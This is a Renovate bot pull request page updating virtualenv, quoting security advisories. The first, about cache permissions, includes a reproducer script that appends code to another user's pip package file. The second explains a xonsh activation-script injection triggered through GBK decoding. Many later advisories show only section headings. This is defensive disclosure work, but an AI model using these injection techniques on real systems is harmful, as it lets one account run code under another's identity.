        group=OTHER_USER,
        extra_groups=[],
        env={"PATH": os.environ["PATH"]},
        cwd="/",
        check=True,
    )

    # the owner uses the environment
    run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022)
    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None
    print(f"{case}   other user's line ran as uid: {appended_line_ran_as[case]}")

##### check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier
control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None
observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER)
print("BUG" if control_is_private and observed_runs_as_owner else "OK")

repro.d/other_user_appends_to_pip.py

import glob
import sys

environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try:
    with open(pip_init, "a") as pip_source:
        pip_source.write(added_line)
    print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
    print(f"other user: {error}")

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those
accounts to be able to traverse the destination's parent directories. An attacker need not control the private source
cache.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the
current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not
preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were
inherited from a permissive cache.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Severity

CVSS Score: 4.4 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Xonsh activation literals depend on the script decoding codec

CVE-2026-113718 / GHSA-394h-qwmc-48pf

More information

Details

Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

Affected code

The relevant 21.14.8 source is in
xonsh quote(),
UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK
or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile
prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
PR #3432 shows the xonsh source-decoding chain and changes quote() to
ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that ast.literal_eval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The follow

[!IMPORTANT]
✂ PR body was truncated to here.

renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from 6e9cdd0 to 02454c7 Compare October 28, 2026 11:35

renovate Bot changed the title ~~Update dependency virtualenv to v20.36.1 [SECURITY]~~ Update dependency virtualenv to v21 [SECURITY] Oct 28, 2026

renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from 02454c7 to b58a87b Compare October 28, 2026 17:52

Update dependency virtualenv to v21 [SECURITY]

50e7f6b

renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from b58a87b to 50e7f6b Compare October 31, 2026 21:16

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Update dependency virtualenv to v21 [SECURITY] - #256

Update dependency virtualenv to v21 [SECURITY]#256
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virtualenv allows command injection through activation scripts for a virtual environment

Details

Severity

References

virtualenv Has TOCTOU Vulnerabilities in Directory Creation

Details

Impact

Patches

Workarounds

References

Severity

References

virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote

Details

Impact

Patches

Workarounds

Credits

Severity

References

virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST

Details

Impact

Patches

Workarounds

Credits

Severity

References

virtualenv bash activate runs commands from an environment name with a backslash before $

Details

Summary

Affected area

Attacker-controlled input

Details

Proof of concept

Impact

Versions tested

Known mitigation

Latest release

Patches

Credits

Severity

References

virtualenv: Seed replacement does not contain metadata deletion paths

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Venv configuration readback can reinterpret path boundaries

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

renovate Bot commented Aug 26, 2026 •

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